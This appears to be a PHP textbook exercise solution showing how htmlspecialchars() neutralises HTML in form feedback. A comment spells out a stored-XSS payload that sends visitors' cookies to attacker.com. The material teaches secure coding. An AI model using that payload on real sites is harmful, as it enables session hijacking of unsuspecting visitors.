Challenge 1 — Solution

Task: Write a script that takes a $_POST['feedback'] value containing
HTML special characters (test with a string like "<b>Great
site!</b>"), and echoes it twice — once unescaped (commented out as
unsafe), and once safely with htmlspecialchars(). Explain in a comment
what would happen if the unsafe version were used with a real <script>
tag instead.

<?php
    $_POST['feedback'] = "<b>Great site!</b>";

    $feedback = $_POST['feedback'] ?? '';

    // UNSAFE — commented out, shown only for comparison:
    // echo "Feedback (unescaped): " . $feedback;

    echo "Feedback (escaped): " . htmlspecialchars($feedback);

    // What would happen with a real <script> tag instead:
    // If a visitor submitted "<script>document.location='https://
    // attacker.com/steal?cookie='+document.cookie</script>" as their
    // feedback, the unsafe (unescaped) version would echo that text
    // directly into the page's HTML - and because <script> tags are
    // interpreted and executed by the browser, that script would
    // actually RUN in the browser of every other visitor who later
    // views this feedback (e.g. on an admin's "recent feedback" page).
    // This is a real Cross-Site Scripting (XSS) attack: it could
    // silently steal session cookies, redirect visitors to a malicious
    // site, or perform actions on the site as if the victim had
    // clicked something themselves - all without the victim doing
    // anything except viewing a page that displays the attacker's
    // stored feedback.
?>


Output:
Feedback (escaped): &lt;b&gt;Great site!&lt;/b&gt;

Notes:
- htmlspecialchars() converts the literal characters < and > into their
  HTML entity equivalents (&lt; and &gt;), so the browser displays the
  text "<b>Great site!</b>" literally on the page instead of rendering
  it as bold formatting or, worse, executing it as a script tag.
- The unsafe version is deliberately left commented out rather than
  actually run, since the whole point of this exercise is demonstrating
  why it should never be used with real user input.
- This is the exact XSS scenario the chapter's own Fundamentals
  Chapter 8 forward-reference and this chapter's own htmlspecialchars()
  section were building toward - stored, unescaped user input becoming
  executable code in someone else's browser.